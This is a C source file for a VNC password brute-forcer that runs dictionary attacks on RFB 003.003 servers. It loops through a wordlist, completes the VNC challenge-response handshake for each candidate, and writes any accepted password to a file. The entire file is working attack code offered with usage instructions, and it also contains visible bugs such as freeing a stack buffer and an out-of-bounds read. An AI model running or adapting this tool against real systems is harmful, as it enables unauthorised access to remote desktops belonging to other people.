SECURITE VNC (BRUTE FORCE)((LINUX)+VOIR COMMENTAIRES)

/*########################################################
#VNC Brute-Forcer by neo.THGLF --> boby009009@aol.com                              #
#                                                                                                               #
#This software is for dictionary attacker of a VNC server using                           #
#RFB 003.003 protocol.(or oldest but don't know if it could be use for a newest) #
#Please excuse my poor English, I'm french. :)                                              # ###################################################################
#   FOR UNDERSTANDING THIS PROGRAM, READ RFBPROTO.PDF WHICH CAN BE OBTAINED ON #
#                    www.realvnc.com/docs/rfbproto.pdf                                                              #
###################################################################*/
//Compile : gcc neo.THGLF.vnc-cracker.c

#include <stdio.h>
#include <stdlib.h>
#include <getopt.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include "d3des.c"
#include "vncauthneo.c"
#include <sys/stat.h>
#include <time.h>
#include <netdb.h>

static int fd;

void *sec_malloc(size_t size) {
    void *p;

    if ((p=malloc(size))==NULL) {
	fprintf(stderr,"malloc() failed for %d bytes\n",size);
	exit (-1);
    }
    memset(p,0,size);
    return p;
}


void usage(char **argv)
{
  printf("VNC DICTIONARY-ATTACKER by neo.THGLF --> boby009009@aol.com\n");
  printf( "Usage :\n"
	  "%s -h -p -f\n\n" 
	  "-h host\n"
	  "-p port[5900] default is 5900\n"
	  "-f password_list\n\n"
	  "DON'T CARE ABOUT STRANGE BYTEs WHICH CAN APPEAR\n"
	  "FILE CREATED :\n"
	  "PASSWDVNCOK.passwd  ------> file where the good password is stored\n"
	  "JUMPEDPASSWD        ------> file where passwds which have been jumped for x reason are stored there\n"
	  "                            use this file for trying manually these passwds\n",argv[0]);
  
}

int VNC_connect(char *host,int port,char *wordlist) //Connection to the server and cracking.
{  
  struct sockaddr_in server_addr;
  struct hostent *server;
  int lensockaddr_server; 
  unsigned char auth_type[4];   //The byte n°4 contain the type of Authentication
  unsigned char *RFB_proto[12]; //server first send 12 bytes for protocol identification
  char challenge[16];           //challenge bytes
  unsigned char response[4];
  FILE *tmp;                    //File used to open wordlist file
  FILE *stor;                   //File used to store GOOD PASSWORD
  FILE *stor_jmp;               //File used to store jumped passwords
  char buffer[256];                
  int i;
  
  tmp = fopen(wordlist,"r");
  
  while(fgets(buffer,255,tmp)!=NULL)
    {
      
      if (strlen(buffer)>8) buffer[8]='\0'; //passwd can't be over 8 char
      buffer[strlen(buffer)-1]='\0';

      fd = socket(AF_INET,SOCK_STREAM,0);
      
      if (fd < 0 )
	{
	  printf("----------->Error, can't create socket");
	  exit(EXIT_FAILURE);
	}
      
      server = gethostbyname(host);
      if ( server == NULL )
	{
	  printf("----------->unknown host ! (%s)\n",host); 
	  exit(EXIT_FAILURE);
	}
      
      server_addr.sin_family = AF_INET;
      server_addr.sin_port = htons(port);
      server_addr.sin_addr =  *(struct in_addr *) server->h_addr;
      lensockaddr_server = sizeof server_addr;
      connect(fd,(struct sockaddr*) &server_addr,lensockaddr_server); 
      printf(">Connection OK !!(%s:%d)\n"
	     ">handshake will began   \n",host,port);
      
      //fonction which care about the authentification phase and challenge phase
      
      
      
      /*Protocol identification phase*/
      recv(fd,RFB_proto,12,0);
      printf(">Protocol : %s \n",RFB_proto);
      printf(">replying with same proto %s\n",RFB_proto);
      send(fd,RFB_proto,12,0);
      
      /*VNC authentification phase*/
      /*byte 4 returns :
	0 for CONNECTION FAILED
	1 for NO AUTHENTICATION
	2 for VNC AUTHENTICATION
      */ 
      recv(fd,auth_type,sizeof(auth_type),0);
      printf(">server send :\n");
      for (i = 0; i < 4 ; i++)
	printf("%d ",auth_type[i]);
      printf("\n");
      
      switch(auth_type[3])
	{
	case 0:printf(">>server is angry, waiting 120sec\n");sleep(120);break;
	case 1:printf(">>NO AUTHENTICATION REQUIRED !\n");exit(0);break;
	case 2:printf(">>authentication required...\n");break;
	default:printf(">>unknowned server response. Should be 0, 1 or 2 but is : %d\n",auth_type[4]);exit(EXIT_FAILURE);break;
	}
      
      /*Challenge receiving phase*/
      recv(fd,challenge,sizeof(challenge),0);
      printf(">Receiving challenge : %x \n",challenge);
      
      /*passwd encrypting and sending*/
      printf(">Encrypting passwd : %s \n",buffer);
      vncEncryptBytes(challenge,buffer);  
      printf(">sending encrypted passwd to server...\n");
      send(fd,challenge,strlen(challenge),0);
      printf(">receiving response from server...\n");
      recv(fd,response,sizeof(response),0);
      printf(">server answer : %d\n",response[3]);
      switch(response[3])
	{
	case 0: printf("----------------------------->PASSWORD : %s -----> IS THE GOOD ONE ! YEAH !\n"
		       "----------------------------->STORING IT INTO FILE : PASSWDVNCOK.passwd    \n",buffer);
	  //FILE *stor;//MAJ
	  stor = fopen("PASSWDVNCOK.passwd","w+");
	  if (stor == 0){
	    printf("can't create PASSWDVNCOK");
	    exit(EXIT_FAILURE);
	  }
	  fprintf(stor,"%s",buffer);
	  fclose(stor);
	  exit(0);
	case 1: printf("----------------------------->passwd %s -----> REJECTED\n",buffer);fflush(stdout);break;
	case 2: printf(">>>server say TOO MANY(it is angry), waiting 120secs           \n"
		       ">>>the passwds %s has certainly been jumped, so try it manually\n"
		       ">>>storing it in JUMPEDPASSWD                                  \n",buffer);
	  fflush(stdout);
	  stor_jmp = fopen("JUMPEDPASSWD","a");
	  if (!stor_jmp) 
	    stor_jmp = fopen("JUMPEDPASSWD","w+");
	  fprintf(stor_jmp,"%s\n",buffer);
	  fclose(stor_jmp);
	  sleep(120);
	  break;
	default: printf("##################################################################"
			"\n>>>UNKNOWN RESPONSE ! continuing but will not be efficience   \n"
			">>>the passwds %s has certainly been jumped, so try it manually \n"
			">>>storing it in JUMPEDPASSWD...                                \n"
			"##################################################################\n\n",buffer);
	  stor_jmp = fopen("JUMPEDPASSWD","a");
	  if (!stor_jmp) 
	    stor_jmp = fopen("JUMPEDPASSWD","w+");
	  fprintf(stor_jmp,"%s\n",buffer);
	  fclose(stor_jmp);
	  break;
	}
      shutdown(fd,2);
      memset(buffer,0,256);
    }
  free(buffer);
  fclose(tmp);
  
  
  return 0;
}




int main(int argc, char **argv)
{
  int opts;//for getopt()
  extern char *optarg;
  extern int optind;
  char *optstring = "h:p:f:"; //arguments
  int argv_flag   = 0   ;     //we can know if there is an error with the flag
                            /*if argv_flag == 1 then -p and -f have not been specifed
			      if argv_flag == 2 then -h and -f have not been specifed
			      if argv_flag == 4 then -h and -p have not been specified
			      if argv_flag == 3 then -f has not been specified
			      if argv_flag == 5 then -p has not been specified
			      if argv_flag == 6 then -h has not been specified*/
  char *wordlist  = NULL;    //contain the name of the passwordfile 
  char *host      = NULL; 
  int port        = 5900;
  //MAJ :
 FILE *tmp;
  
  while ((opts = getopt(argc, argv, optstring)) != EOF)
    {            
      
      switch (opts) 
	{
	case 'h': //Host argument
	  argv_flag += 1;
	  host=(char *)sec_malloc(strlen(optarg)+1);
	  strcpy(host,optarg);
	  break;
	  
	case 'p': //Port argument
	  argv_flag += 2;
	  port=atoi(optarg);
	  if (port ==0 || port > 65535){
	    printf("------------>port must be gretter than 0 and less than 65535 !\n"
		   "------------>port %s is invalid !\n",optarg);usage(argv);exit(-1);}
	  break;
	  
	case 'f': //passwd file argument
	  argv_flag += 4;
	  wordlist=(char *)sec_malloc(strlen(optarg)+1);
	  strcpy(wordlist,optarg);
	  /*verify whether or not file can be opened*/
	  //FILE *tmp;//MAJ
	  tmp = fopen(wordlist,"r");
	  if (!tmp){
	    printf("Error, can't open %s\n",wordlist);
	    exit(EXIT_FAILURE);
	  }
	  else {
	    fclose(tmp);
	  }
	  break;
	  
	}
    }
  
  switch(argv_flag)
    {
    case 0:printf("\n******I need at least 2 arguments(host and wordlist)\n");usage(argv);exit(-1);
    case 1:printf("\n******I can use port 5900 but where is they wordlist ?\n");usage(argv);exit(-1);
    case 2:printf("\n******and the host !? and the wordlist !?\n");usage(argv);exit(-1);
    case 3:printf("\n******I need a wordlist !\n");usage(argv);exit(-1);
    case 4:printf("\n******I need a host ! (and a port if != from 5900)\n");usage(argv);exit(-1);
    case 6:printf("\n******I need a host !\n");usage(argv);exit(-1);    
    case 5:printf("\n******Default port will be used(5900)\n"); 
    case 7:printf("\nBRUTE-FORCING in progress....\n"
		  "on %s:%d with file %s                                \n\n",host,port,wordlist);VNC_connect(host,port,wordlist);break;
		  
    }
  
  
  return 0;
}